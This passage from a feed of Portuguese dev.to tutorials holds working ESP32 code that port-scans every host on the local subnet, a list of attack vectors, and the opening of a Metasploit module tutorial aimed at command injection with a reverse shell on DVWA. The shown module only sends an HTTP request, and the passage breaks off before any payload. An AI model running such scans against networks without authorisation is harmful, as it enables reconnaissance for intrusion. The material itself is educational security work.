  &lt;span class="n"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;

  &lt;span class="c1"&gt;// Aguardar antes de repetir o teste&lt;/span&gt;
  &lt;span class="n"&gt;delay&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mi"&gt;5000&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;O método loop() chama a função scanner() (que ainda não está definida neste código) para realizar o teste de porta e aguarda 5 segundos antes de repetir.&lt;/p&gt;

&lt;p&gt;Método scanner():&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


&lt;span class="kt"&gt;void&lt;/span&gt; &lt;span class="nf"&gt;scanner&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="mi"&gt;255&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="c1"&gt;// Resetar o índice para começar de novo&lt;/span&gt;
    &lt;span class="n"&gt;currentIpIndex&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;scanner(): Uma função que realiza a verificação de portas em diferentes IPs.&lt;/li&gt;
&lt;li&gt;if (currentIpIndex &amp;gt;= 255): Quando todos os IPs foram testados, o índice é resetado para reiniciar o processo.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Continuação do Método scanner():&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


  &lt;span class="c1"&gt;// Extrair os três primeiros octetos do endereço IP&lt;/span&gt;
  &lt;span class="n"&gt;byte&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="n"&gt;localIP&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;WiFi&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="mi"&gt;3&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;localIP&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;i&lt;/span&gt;&lt;span class="p"&gt;];&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Criar o IPAddress com base nos três primeiros octetos e no último octeto variável&lt;/span&gt;
  &lt;span class="n"&gt;IPAddress&lt;/span&gt; &lt;span class="nf"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;firstThreeOctets&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt; &lt;span class="n"&gt;currentIpIndex&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;ul&gt;
&lt;li&gt;firstThreeOctets: Extrai os três primeiros octetos do endereço IP local do dispositivo.&lt;/li&gt;
&lt;li&gt;IPAddress ipToTest: Cria um novo endereço IP usando os três primeiros octetos e o índice variável para o último octeto.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Continuação e Finalização do Método scanner():&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight cpp"&gt;&lt;code&gt;


  &lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;/&lt;/span&gt; &lt;span class="k"&gt;sizeof&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt; &lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="n"&gt;WiFiClient&lt;/span&gt; &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;connect&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]))&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Conectado a %s na porta %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
      &lt;span class="n"&gt;client&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;stop&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
      &lt;span class="n"&gt;Serial&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;printf&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Falha na conexão a %s na porta %d&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;ipToTest&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;toString&lt;/span&gt;&lt;span class="p"&gt;().&lt;/span&gt;&lt;span class="n"&gt;c_str&lt;/span&gt;&lt;span class="p"&gt;(),&lt;/span&gt; &lt;span class="n"&gt;portas&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="n"&gt;j&lt;/span&gt;&lt;span class="p"&gt;]);&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="c1"&gt;// Incrementar o índice para o próximo IP na próxima chamada&lt;/span&gt;
  &lt;span class="n"&gt;currentIpIndex&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Um loop que percorre a lista de portas e tenta conectar-se a cada combinação de IP e porta. Se a conexão for bem-sucedida, imprime a mensagem "Conectado". Caso contrário, imprime "Falha na conexão".&lt;/p&gt;

&lt;h2&gt;
  
  
  Exploração
&lt;/h2&gt;

&lt;p&gt;Após a compilação e o upload no ESP32, o resultado na porta serial é apresentado da seguinte forma:&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhep1uqcgx16r5pz9bhk.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhhep1uqcgx16r5pz9bhk.png" alt="Scanner Port"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Com base nesse resultado, identificamos um IP (192.168.0.1) com a porta 80 aberta, possibilitando a enumeração de servidores e portas abertas no ambiente ao qual estamos conectados.&lt;/p&gt;

&lt;h2&gt;
  
  
  Vetores de Ataque
&lt;/h2&gt;

&lt;p&gt;Considerando o ESP32, é possível realizar diversos tipos de ataques, tais como:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Sniffer: Interceptação de dados em uma rede para análise.&lt;/li&gt;
&lt;li&gt;Scan de Portas: Identificação de portas abertas em um sistema.&lt;/li&gt;
&lt;li&gt;Scan de WiFi: Exploração de redes sem fio disponíveis.&lt;/li&gt;
&lt;li&gt;Ataque de Força Bruta: Tentativa de descobrir senhas por meio de repetidas combinações.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Com a proliferação de dispositivos portáteis no mundo da IoT, embora esses dispositivos ofereçam inovações significativas, também abrem oportunidades para ataques mais sofisticados, muitas vezes realizados com custos inferiores a 5 dólares.&lt;/p&gt;

&lt;h2&gt;
  
  
  Como se Proteger?
&lt;/h2&gt;

&lt;p&gt;Para proteger-se contra esses vetores de ataques, é fundamental adotar práticas de segurança robustas, incluindo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Monitoramento Constante: Monitorar regularmente o tráfego e as atividades suspeitas na rede.&lt;/li&gt;
&lt;li&gt;Firewalls: Configurar firewalls para restringir o tráfego indesejado.&lt;/li&gt;
&lt;li&gt;Desabilitar Serviços Não Necessários: Desativar serviços que não são essenciais para reduzir a superfície de ataque.&lt;/li&gt;
&lt;li&gt;Filtro de Endereço MAC: Habilite o filtro de endereço MAC no roteador para permitir apenas dispositivos autorizados.Mantenha uma lista branca de endereços MAC permitidos.&lt;/li&gt;
&lt;li&gt;Desative o SSID Broadcasting: Desative a transmissão do nome da sua rede (SSID broadcast).Isso torna sua rede menos visível para scanners, mas não fornece segurança total.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Compartilhe seu carinho:
&lt;/h2&gt;

&lt;p&gt;Estou verdadeiramente empenhado em criar conteúdo constante, explorando compras de equipamentos e ferramentas para trazer temas relevantes. Se você gostou deste artigo, ou de outros que compartilhei, e deseja oferecer seu apoio para me ajudar a continuar nessa jornada, ficaria imensamente grato. Cada contribuição é um passo significativo para manter viva essa paixão que compartilhamos. &lt;/p&gt;

&lt;p&gt;Aqui está o link para apoiar: &lt;a href="https://www.buymeacoffee.com/higordiego" rel="noopener noreferrer"&gt;Buy Me a Coffee&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Obrigado pelo seu carinho e por fazer parte desta jornada! 🌟&lt;/p&gt;

&lt;h2&gt;
  
  
  Conclusão
&lt;/h2&gt;

&lt;p&gt;Em conclusão, exploramos a conexão WiFi com o ESP32, aprendemos sobre a identificação de portas abertas na rede e discutimos medidas de segurança contra acessos não autorizados. O código apresentado mostrou como realizar um scanner de portas simples, ressaltando a importância de práticas seguras, atualizações regulares e consciência sobre potenciais vetores de ataques. Proteger sua rede WiFi é vital para garantir a segurança dos dispositivos conectados, e a implementação de medidas preventivas é fundamental para mitigar riscos e manter a integridade do ambiente digital.&lt;/p&gt;

&lt;h2&gt;
  
  
  Referências
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://www.espressif.com/en/products/socs/esp32" rel="noopener noreferrer"&gt;https://www.espressif.com/en/products/socs/esp32&lt;/a&gt;&lt;br&gt;
&lt;a href="https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/network/esp_wifi.html" rel="noopener noreferrer"&gt;https://docs.espressif.com/projects/esp-idf/en/latest/esp32/api-reference/network/esp_wifi.html&lt;/a&gt;&lt;/p&gt;

</description>
      <category>iot</category>
      <category>osint</category>
      <category>scanner</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Guia de passo a passo para escrever um exploit.</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Mon, 20 Nov 2023 22:15:09 +0000</pubDate>
      <link>https://forem.com/higordiego/guia-de-passo-a-passo-para-escrever-um-script-metasploit-3oj3</link>
      <guid>https://forem.com/higordiego/guia-de-passo-a-passo-para-escrever-um-script-metasploit-3oj3</guid>
      <description>&lt;p&gt;&lt;a href="https://res.cloudinary.com/practicaldev/image/fetch/s--hXxdyv5a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fbkx7mofj9svkqpka6k6.png" class="article-body-image-wrapper"&gt;&lt;img src="https://res.cloudinary.com/practicaldev/image/fetch/s--hXxdyv5a--/c_limit%2Cf_auto%2Cfl_progressive%2Cq_auto%2Cw_800/https://dev-to-uploads.s3.amazonaws.com/uploads/articles/fbkx7mofj9svkqpka6k6.png" alt="Metasploit" width="800" height="375"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Antes de nos aprofundarmos no intrigante universo do Metasploit, é crucial destacar a necessidade de utilizar essas ferramentas de maneira ética e legal. O Metasploit, com todas as suas funcionalidades poderosas, deve ser empregado apenas com a permissão explícita dos proprietários dos sistemas em teste.&lt;/p&gt;

&lt;p&gt;Este artigo destina-se a profissionais de segurança ética, pesquisadores e entusiastas que buscam compreender e fortalecer a segurança digital. Qualquer utilização imprópria das informações aqui fornecidas para atividades mal-intencionadas não apenas é ilegal, mas também prejudicial à integridade dos sistemas e à confiança online.&lt;/p&gt;

&lt;p&gt;A responsabilidade pelo uso ético dessas ferramentas recai integralmente sobre o indivíduo. Este texto visa promover o entendimento e o conhecimento responsável na área de segurança digital. Juntos, vamos explorar o Metasploit de maneira ética, contribuindo para um ambiente digital mais seguro e protegido.&lt;/p&gt;

&lt;h2&gt;
  
  
  O Metasploit
&lt;/h2&gt;

&lt;p&gt;Pense no Metasploit como um superdetetive cibernético utilizado por especialistas em segurança para identificar e corrigir vulnerabilidades nos sistemas de computadores antes que hackers mal-intencionados possam explorá-las. Ele automatiza a busca por pontos fracos, agindo como um herói digital na proteção de nossos computadores. No entanto, é fundamental usar essa ferramenta de maneira ética, obtendo permissão antes de iniciar qualquer "investigação".&lt;/p&gt;

&lt;p&gt;O Metasploit é uma poderosa estrutura de teste de penetração, fornecendo informações sobre vulnerabilidades de sistemas e auxiliando profissionais de segurança na identificação e correção dessas falhas antes que se tornem alvos de invasores. Desenvolvido para automatizar o teste de penetração, o Metasploit é utilizado por especialistas em segurança e hackers éticos, oferecendo uma variedade de ferramentas para descoberta, exploração e validação de falhas de segurança.&lt;/p&gt;

&lt;h2&gt;
  
  
  Msfconsole
&lt;/h2&gt;

&lt;p&gt;O msfconsole é a interface de linha de comando central no Metasploit, oferecendo um ambiente interativo para que os usuários explorem suas funcionalidades. Ao iniciar o msfconsole, os usuários entram em um ambiente onde podem carregar e configurar módulos, escolher exploits específicos, selecionar payloads e lançar ataques contra sistemas-alvo para avaliar a segurança. Essa ferramenta é essencial para profissionais de segurança que desejam testar a robustez de sistemas e redes, sempre com permissão adequada.&lt;/p&gt;

&lt;p&gt;Explorar o Metasploit é embarcar em uma jornada fascinante de descoberta e proteção digital. Lembre-se sempre da importância de agir de maneira ética e legal ao utilizar essas ferramentas, contribuindo para um ambiente digital mais seguro e protegido.&lt;/p&gt;

&lt;h2&gt;
  
  
  Meterpreter
&lt;/h2&gt;

&lt;p&gt;O Meterpreter é um componente essencial no framework Metasploit, projetado para oferecer uma série de recursos pós-exploração em um sistema comprometido. Em termos mais simples, você pode pensar no Meterpreter como uma espécie de "ponte digital" entre o invasor e o sistema invadido, permitindo uma interação mais avançada e controle sobre a máquina comprometida.&lt;/p&gt;

&lt;p&gt;Com o Meterpreter, um invasor pode executar uma variedade de comandos no sistema comprometido, como copiar, excluir, fazer o upload ou download de arquivos, capturar telas, ativar a webcam, manipular processos e muito mais. Ele oferece uma interface rica para explorar e controlar um sistema invadido de forma mais flexível.&lt;/p&gt;

&lt;h2&gt;
  
  
  Criando o script
&lt;/h2&gt;

&lt;p&gt;Criaremos um script básico no Metasploit usando Ruby para conduzir um ataque de injeção de comando com shell reverso. O projeto DVWA será empregado para aprofundar nossa compreensão do processo em sua totalidade.&lt;/p&gt;

&lt;p&gt;Antes de executar nosso script, é necessário ter os seguintes itens instalados em sua máquina local:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;a href="https://docs.docker.com/engine/install/"&gt;Docker&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href="https://www.metasploit.com/download"&gt;Metasploit&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;a href="https://www.ruby-lang.org/en/documentation/installation/"&gt;Ruby&lt;/a&gt; &lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Verifique se você possui essas ferramentas instaladas antes de avançar com o desenvolvimento e a execução do script.&lt;/p&gt;

&lt;p&gt;Vamos criar uma pasta denominada "artigo" dentro de /usr/share/metasploit-framework/modules/auxiliary.&lt;/p&gt;

&lt;p&gt;Segue abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;sudo mkdir&lt;/span&gt; /usr/share/metasploit-framework/modules/auxiliary/artigo 
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Após sua criação iremos criar um arquivo chamado command_injection.rb, segue a instrução abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nb"&gt;cd&lt;/span&gt; /usr/share/metasploit-framework/modules/auxiliary/artigo &lt;span class="o"&gt;&amp;amp;&amp;amp;&lt;/span&gt; &lt;span class="nb"&gt;touch &lt;/span&gt;command_injection.rb
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Criaremos um código simples que realiza uma requisição externa do tipo HTTP ou HTTPS, a fim de compreender a estrutura de funcionamento de um script dentro do msfconsole.&lt;/p&gt;

&lt;p&gt;Segue o código abaixo:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;
class MetasploitModule &amp;lt; Msf::Auxiliary
  Rank &lt;span class="o"&gt;=&lt;/span&gt; ExcellentRanking
  include Msf::Exploit::Remote::HttpClient
  def initialize&lt;span class="o"&gt;(&lt;/span&gt;info &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{})&lt;/span&gt;
    super&lt;span class="o"&gt;(&lt;/span&gt;update_info&lt;span class="o"&gt;(&lt;/span&gt;info,
      &lt;span class="s1"&gt;'Name'&lt;/span&gt;        &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Criando um script simples que fará uma requisição externa via http'&lt;/span&gt;,
      &lt;span class="s1"&gt;'Description'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; %q&lt;span class="o"&gt;{&lt;/span&gt;
        A intenção desse script é executar uma simples requisição http.
      &lt;span class="o"&gt;}&lt;/span&gt;,
      &lt;span class="s1"&gt;'Author'&lt;/span&gt;      &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;'Higor Diego'&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;,
      &lt;span class="s1"&gt;'License'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; BSD_LICENSE&lt;span class="o"&gt;))&lt;/span&gt;

      register_options&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;[&lt;/span&gt;
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'Solicitação de URL para site, por exemplo: google.com.br'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'Caminho para a solicitação de envio do URL, por exemplo: /login'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;, &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s2"&gt;"PUT or DELETE"&lt;/span&gt;, &lt;span class="s2"&gt;"GET"&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,

        &lt;span class="o"&gt;]&lt;/span&gt;
      &lt;span class="o"&gt;)&lt;/span&gt;
      deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOSTS'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
      deregister_options&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'VHOST'&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    end

  def run
    begin
      path &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RPATH'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
      method &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RMETHOD'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;
      host &lt;span class="o"&gt;=&lt;/span&gt; datastore[&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;

      res &lt;span class="o"&gt;=&lt;/span&gt; send_request_cgi&lt;span class="o"&gt;(&lt;/span&gt;
        &lt;span class="o"&gt;{&lt;/span&gt;
          &lt;span class="s1"&gt;'uri'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s2"&gt;"#{normalize_uri(path)}"&lt;/span&gt;,
          &lt;span class="s1"&gt;'method'&lt;/span&gt; &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; method,
        &lt;span class="o"&gt;}&lt;/span&gt;,
        20
      &lt;span class="o"&gt;)&lt;/span&gt;

      print_good&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" Send request #{host}#{normalize_uri(path)}"&lt;/span&gt; &lt;span class="o"&gt;)&lt;/span&gt;
      print_good&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;" Response status code:  #{res.code}"&lt;/span&gt;&lt;span class="o"&gt;)&lt;/span&gt;
    rescue ::Exception &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; e

      &lt;span class="k"&gt;return &lt;/span&gt;nil
    end
  end

end

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Esse é um script em Ruby que utiliza o framework Metasploit para criar um módulo auxiliar (auxiliary module). O propósito deste script é realizar uma requisição HTTP simples para uma URL especificada, usando os métodos HTTP PUT, DELETE ou GET.&lt;/p&gt;

&lt;p&gt;Vamos analisar o código por partes:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Metasploit Module Class:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;class MetasploitModule &amp;lt; Msf::Auxiliary
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O script define uma classe chamada MetasploitModule que herda da classe Msf::Auxiliary, indicando que é um módulo auxiliar no contexto do Metasploit.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Inicialização:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;def initialize&lt;span class="o"&gt;(&lt;/span&gt;info &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;{})&lt;/span&gt;
  super&lt;span class="o"&gt;(&lt;/span&gt;update_info&lt;span class="o"&gt;(&lt;/span&gt;info,
    &lt;span class="s1"&gt;'Name'&lt;/span&gt;       &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="s1"&gt;'Criando um script simples que fará uma requisição externa via http'&lt;/span&gt;,
    &lt;span class="s1"&gt;'Description'&lt;/span&gt;&lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; %q&lt;span class="o"&gt;{&lt;/span&gt;
      A intenção desse script é executar uma simples requisição http.
    &lt;span class="o"&gt;}&lt;/span&gt;,
    &lt;span class="s1"&gt;'Author'&lt;/span&gt;     &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; &lt;span class="o"&gt;[&lt;/span&gt; &lt;span class="s1"&gt;'Higor Diego'&lt;/span&gt; &lt;span class="o"&gt;]&lt;/span&gt;,
    &lt;span class="s1"&gt;'License'&lt;/span&gt;    &lt;span class="o"&gt;=&amp;gt;&lt;/span&gt; BSD_LICENSE&lt;span class="o"&gt;))&lt;/span&gt;

&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;O método initialize é chamado quando uma instância da classe é criada. Ele define informações sobre o módulo, como nome, descrição, autor e licença.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Opções do Módulo:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;register_options&lt;span class="o"&gt;(&lt;/span&gt;
  &lt;span class="o"&gt;[&lt;/span&gt;
          OptString.new&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;'RHOST'&lt;/span&gt;,  &lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="nb"&gt;true&lt;/span&gt;, &lt;span class="s1"&gt;'Solicitação de URL para site, por exemplo: google.com.br'&lt;/span&gt;&lt;span class="o"&gt;])&lt;/span&gt;,
